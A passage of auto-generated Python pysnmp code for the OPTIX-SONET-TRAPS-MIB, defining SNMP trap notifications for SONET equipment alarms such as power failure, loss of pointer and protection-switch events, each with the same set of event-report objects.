32836)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPayloadLabelMisatch.setStatus('current') almEnhancedRemotePalyloadFailureIndicationPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32837)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEnhancedRemotePalyloadFailureIndicationPath.setStatus('current') almEnhancedRemoteServerFailureIndicationPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32838)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEnhancedRemoteServerFailureIndicationPath.setStatus('current') almEnhancedRemoteConnectivityFailureIndicationPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32839)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEnhancedRemoteConnectivityFailureIndicationPath.setStatus('current') almPDIPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32840)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPDIPath.setStatus('current') almPowerFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32841)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPowerFail.setStatus('current') almLossOfPointerVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32842)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLossOfPointerVT.setStatus('current') almAlarmIndicationSignalVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32843)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almAlarmIndicationSignalVT.setStatus('current') almPayloadLabelMismatchVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32844)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almPayloadLabelMismatchVT.setStatus('current') almUnequippedVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32845)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almUnequippedVT.setStatus('current') almRemoteFailureIndicationVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32846)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRemoteFailureIndicationVT.setStatus('current') almRemoteServerFailureIndicationVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32847)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almRemoteServerFailureIndicationVT.setStatus('current') almEnhancedRemoteConnectivityFailureIndicationVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32848)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEnhancedRemoteConnectivityFailureIndicationVT.setStatus('current') almEnhancedRemotePalyloadFailureIndicationVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32849)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almEnhancedRemotePalyloadFailureIndicationVT.setStatus('current') almInterFaceCardOffline = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32876)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almInterFaceCardOffline.setStatus('current') almSyncChangeSSM = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32877)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSyncChangeSSM.setStatus('current') almTimeingModeChange = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32878)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almTimeingModeChange.setStatus('current') almLockoutWorkingUnit = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32879)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLockoutWorkingUnit.setStatus('current') almLockoutProtectionUnit = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32880)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almLockoutProtectionUnit.setStatus('current') almForcedSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32881)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almForcedSwitch.setStatus('current') almManualSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32882)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almManualSwitch.setStatus('current') almExerciseSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32883)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almExerciseSwitch.setStatus('current') almWaitToRestore = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32884)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almWaitToRestore.setStatus('current') almSwitchToIdle = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32886)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSwitchToIdle.setStatus('current') almSwitchFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32887)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSwitchFail.setStatus('current') almSyncSwitch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32889)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtNtfcnCde"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtState"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSrvEff"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: almSyncSwitch.setStatus('current') almCommunicationFail = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 10, 32890)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), 